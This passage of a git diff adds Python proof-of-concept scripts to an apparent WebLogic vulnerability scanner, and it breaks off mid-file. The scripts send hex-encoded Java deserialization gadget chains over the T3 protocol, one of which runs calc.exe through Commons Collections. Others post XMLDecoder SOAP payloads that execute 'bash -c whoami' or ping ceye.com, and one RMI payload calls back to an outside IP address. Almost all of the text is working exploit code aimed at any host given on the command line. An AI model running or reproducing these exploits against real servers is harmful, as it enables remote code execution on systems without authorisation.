a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
|
||||||
|
VER_SIG=['org.apache.commons.collections.functors.InvokerTransformer']
|
||||||
|
def t3handshake(sock,server_addr):
|
||||||
|
sock.connect(server_addr)
|
||||||
|
sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
|
||||||
|
time.sleep(1)
|
||||||
|
sock.recv(1024)
|
||||||
|
def buildT3RequestObject(sock,rport):
|
||||||
|
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
||||||
|
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
|
||||||
|
data3 = '1a7727000d3234322e323134'
|
||||||
|
data4 = '2e312e32353461863d1d0000000078'
|
||||||
|
for d in [data1,data2,data3,data4]:
|
||||||
|
sock.send(bytes.fromhex(d))
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
def sendEvilObjData(sock,data):
|
||||||
|
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
||||||
|
payload+=data
|
||||||
|
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
||||||
|
payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
|
||||||
|
sock.send(bytes.fromhex(payload))
|
||||||
|
res = ''
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
res += sock.recv(4096)
|
||||||
|
time.sleep(0.1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return res
|
||||||
|
def checkVul(res,server_addr,index):
|
||||||
|
p=re.findall(VER_SIG[index], res, re.S)
|
||||||
|
a,b=server_addr
|
||||||
|
if len(p)>0:
|
||||||
|
logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index]))
|
||||||
|
|
||||||
|
def run(rip,rport,index):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(10)
|
||||||
|
server_addr = (rip, rport)
|
||||||
|
t3handshake(sock,server_addr)
|
||||||
|
buildT3RequestObject(sock,rport)
|
||||||
|
rs=sendEvilObjData(sock,PAYLOAD[index])
|
||||||
|
checkVul(rs,server_addr,index)
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
dip = sys.argv[1]
|
||||||
|
dport = int(sys.argv[2])
|
||||||
|
run(dip,dport,0)
|
||||||
72
WeblogicScanLot/poc/CVE_2017_10271.py
Normal file
72
WeblogicScanLot/poc/CVE_2017_10271.py
Normal file
@ -0,0 +1,72 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
VUL=['CVE-2017-10271']
|
||||||
|
headers = {'user-agent': 'ceshi/0.0.1'}
|
||||||
|
|
||||||
|
def poc(url,index):
|
||||||
|
rurl=url
|
||||||
|
if not url.startswith("http"):
|
||||||
|
url = "http://" + url
|
||||||
|
if "/" in url:
|
||||||
|
url += '/wls-wsat/CoordinatorPortType'
|
||||||
|
post_str = '''
|
||||||
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
|
<soapenv:Header>
|
||||||
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
||||||
|
<java>
|
||||||
|
<void class="java.lang.ProcessBuilder">
|
||||||
|
<array class="java.lang.String" length="2">
|
||||||
|
<void index="0">
|
||||||
|
<string>/usr/sbin/ping</string>
|
||||||
|
</void>
|
||||||
|
<void index="1">
|
||||||
|
<string>ceye.com</string>
|
||||||
|
</void>
|
||||||
|
</array>
|
||||||
|
<void method="start"/>
|
||||||
|
</void>
|
||||||
|
</java>
|
||||||
|
</work:WorkContext>
|
||||||
|
</soapenv:Header>
|
||||||
|
<soapenv:Body/>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
'''
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = requests.post(url, data=post_str, verify=False, timeout=5, headers=headers)
|
||||||
|
response = response.text
|
||||||
|
response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
|
||||||
|
except Exception:
|
||||||
|
response = ""
|
||||||
|
|
||||||
|
if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
|
||||||
|
logging.info('[+]{} has a JAVA deserialization vulnerability:{}.'.format(rurl,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{} not detected {}.'.format(rurl,VUL[index]))
|
||||||
|
|
||||||
|
|
||||||
|
def run(rip,rport,index):
|
||||||
|
url=rip+':'+str(rport)
|
||||||
|
poc(url=url,index=index)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
dip = sys.argv[1]
|
||||||
|
dport = int(sys.argv[2])
|
||||||
|
run(dip,dport,0)
|
||||||
73
WeblogicScanLot/poc/CVE_2017_3248.py
Normal file
73
WeblogicScanLot/poc/CVE_2017_3248.py
Normal file
@ -0,0 +1,73 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
VUL=['CVE-2017-3248']
|
||||||
|
PAYLOAD=['aced0005737200257765626c6f6769632e6a6d732e636f6d6d6f6e2e53747265616d4d657373616765496d706c6b88de4d93cbd45d0c00007872001f7765626c6f6769632e6a6d732e636f6d6d6f6e2e4d657373616765496d706c69126161d04df1420c000078707a000003f728200000000000000100000578aced00057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b0200007870000000014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707371007e00007372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001e00000002767200106a61767a0000018e612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001e7371007e00167571007e001b00000002707571007e001b00000000740006696e766f6b657571007e001e00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e001b7371007e0016757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000863616c632e657865740004657865637571007e001e0000000171007e00237371007e0011737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000010770800000010000000007878767200126a6176612e6c616e672e4f766572726964650000000000000000000000787071007e003a78','aced0005737200257765626c6f6769632e636f7262612e7574696c732e4d61727368616c6c65644f626a656374592161d5f3d1dbb6020002490004686173685b00086f626a42797465737400025b427870b6f794cf757200025b42acf317f8060854e0020000787000000130aced00057372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000074000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a99020000787000000001767200106a6176612e6c616e672e53797374656d00000000000000000000007870','aced0005737d00000001001a6a6176612e726d692e72656769737472792e5265676973747279787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707732000a556e696361737452656600093132372e302e302e3100000000000000006ed6d97b00000000000000000000000000000078']
|
||||||
|
VER_SIG=['\\$Proxy[0-9]+']
|
||||||
|
def t3handshake(sock,server_addr):
|
||||||
|
sock.connect(server_addr)
|
||||||
|
sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
|
||||||
|
time.sleep(1)
|
||||||
|
sock.recv(1024)
|
||||||
|
|
||||||
|
def buildT3RequestObject(sock,rport):
|
||||||
|
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
|
||||||
|
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(rport))
|
||||||
|
data3 = '1a7727000d3234322e323134'
|
||||||
|
data4 = '2e312e32353461863d1d0000000078'
|
||||||
|
for d in [data1,data2,data3,data4]:
|
||||||
|
sock.send(bytes.fromhex(d))
|
||||||
|
time.sleep(2)
|
||||||
|
|
||||||
|
def sendEvilObjData(sock,data):
|
||||||
|
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
|
||||||
|
payload+=data
|
||||||
|
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
|
||||||
|
payload = '%s%s'%('{:08x}'.format(len(payload)//2 + 4),payload)
|
||||||
|
sock.send(bytes.fromhex(payload))
|
||||||
|
res = ''
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
res += sock.recv(4096)
|
||||||
|
time.sleep(0.1)
|
||||||
|
except Exception:
|
||||||
|
pass
|
||||||
|
return res
|
||||||
|
def checkVul(res,server_addr,index):
|
||||||
|
p=re.findall(VER_SIG[index], res, re.S)
|
||||||
|
a,b=server_addr
|
||||||
|
if len(p)>0:
|
||||||
|
logging.info('[+]{}:{} has a JAVA deserialization vulnerability:{}.'.format(a,b,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{}:{} not detected {}.'.format(a,b,VUL[index]))
|
||||||
|
|
||||||
|
def run(rip,rport,index):
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(10)
|
||||||
|
server_addr = (rip, rport)
|
||||||
|
t3handshake(sock,server_addr)
|
||||||
|
buildT3RequestObject(sock,rport)
|
||||||
|
rs=sendEvilObjData(sock,PAYLOAD[index])
|
||||||
|
checkVul(rs, server_addr, index)
|
||||||
|
|
||||||
|
if __name__=="__main__":
|
||||||
|
dip = sys.argv[1]
|
||||||
|
dport = int(sys.argv[2])
|
||||||
|
run(dip,dport,0)
|
||||||
75
WeblogicScanLot/poc/CVE_2017_3506.py
Normal file
75
WeblogicScanLot/poc/CVE_2017_3506.py
Normal file
@ -0,0 +1,75 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import sys
|
||||||
|
import requests
|
||||||
|
import re
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
VUL=['CVE-2017-3506']
|
||||||
|
headers = {'user-agent': 'ceshi/0.0.1'}
|
||||||
|
|
||||||
|
def poc(url,index):
|
||||||
|
rurl=url
|
||||||
|
if not url.startswith("http"):
|
||||||
|
url = "http://" + url
|
||||||
|
if "/" in url:
|
||||||
|
url += '/wls-wsat/CoordinatorPortType'
|
||||||
|
post_str = '''
|
||||||
|
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
|
||||||
|
<soapenv:Header>
|
||||||
|
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
|
||||||
|
<java>
|
||||||
|
<object class="java.lang.ProcessBuilder">
|
||||||
|
<array class="java.lang.String" length="3">
|
||||||
|
<void index="0">
|
||||||
|
<string>/bin/bash</string>
|
||||||
|
</void>
|
||||||
|
<void index="1">
|
||||||
|
<string>-c</string>
|
||||||
|
</void>
|
||||||
|
<void index="2">
|
||||||
|
<string>whoami</string>
|
||||||
|
</void>
|
||||||
|
</array>
|
||||||
|
<void method="start"/>
|
||||||
|
</object>
|
||||||
|
</java>
|
||||||
|
</work:WorkContext>
|
||||||
|
</soapenv:Header>
|
||||||
|
<soapenv:Body/>
|
||||||
|
</soapenv:Envelope>
|
||||||
|
'''
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = requests.post(url, data=post_str, verify=False, timeout=5, headers=headers)
|
||||||
|
response = response.text
|
||||||
|
response = re.search(r"\<faultstring\>.*\<\/faultstring\>", response).group(0)
|
||||||
|
except Exception:
|
||||||
|
response = ""
|
||||||
|
|
||||||
|
if '<faultstring>java.lang.ProcessBuilder' in response or "<faultstring>0" in response:
|
||||||
|
logging.info('[+]{} has a JAVA deserialization vulnerability:{}.'.format(rurl,VUL[index]))
|
||||||
|
else:
|
||||||
|
logging.info('[-]{} not detected {}.'.format(rurl,VUL[index]))
|
||||||
|
|
||||||
|
|
||||||
|
def run(rip,rport,index):
|
||||||
|
url=rip+':'+str(rport)
|
||||||
|
poc(url=url,index=index)
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
dip = sys.argv[1]
|
||||||
|
dport = int(sys.argv[2])
|
||||||
|
run(dip,dport,0)
|
||||||
80
WeblogicScanLot/poc/CVE_2018_2628.py
Normal file
80
WeblogicScanLot/poc/CVE_2018_2628.py
Normal file
@ -0,0 +1,80 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
# _*_ coding:utf-8 _*_
|
||||||
|
'''
|
||||||
|
____ _ _ _ _ __ __ _
|
||||||
|
| _ \ __ _| |__ | |__ (_) |_| \/ | __ _ ___| | __
|
||||||
|
| |_) / _` | '_ \| '_ \| | __| |\/| |/ _` / __| |/ /
|
||||||
|
| _ < (_| | |_) | |_) | | |_| | | | (_| \__ \ <
|
||||||
|
|_| \_\__,_|_.__/|_.__/|_|\__|_| |_|\__,_|___/_|\_\
|
||||||
|
|
||||||
|
'''
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import re
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(filename='Weblogic.log',
|
||||||
|
format='%(asctime)s %(message)s',
|
||||||
|
filemode="w", level=logging.INFO)
|
||||||
|
|
||||||
|
|
||||||
|
VUL=['CVE-2018-2628']
|
||||||
|
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a6176612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c61331e03000078707737000a556e6963617374526566000e3130342e3235312e3232382e353000001b590000000001eea90b00000000000000000000000000000078']
|
||||||
|
VER_SIG=['\\$Proxy[0-9]+']
|
||||||
|
|
||||||
|
def t3handshake(sock,server_addr):
|
||||||
|
sock.connect(server_addr)
|
||||||
|
sock.send(bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'))
|
||||||
|
time.sleep(1)
|
||||||
|
sock.recv(1024)
|
||||||
|
|
||||||
|
def buildT3RequestObject(sock,dport):
|
||||||
|
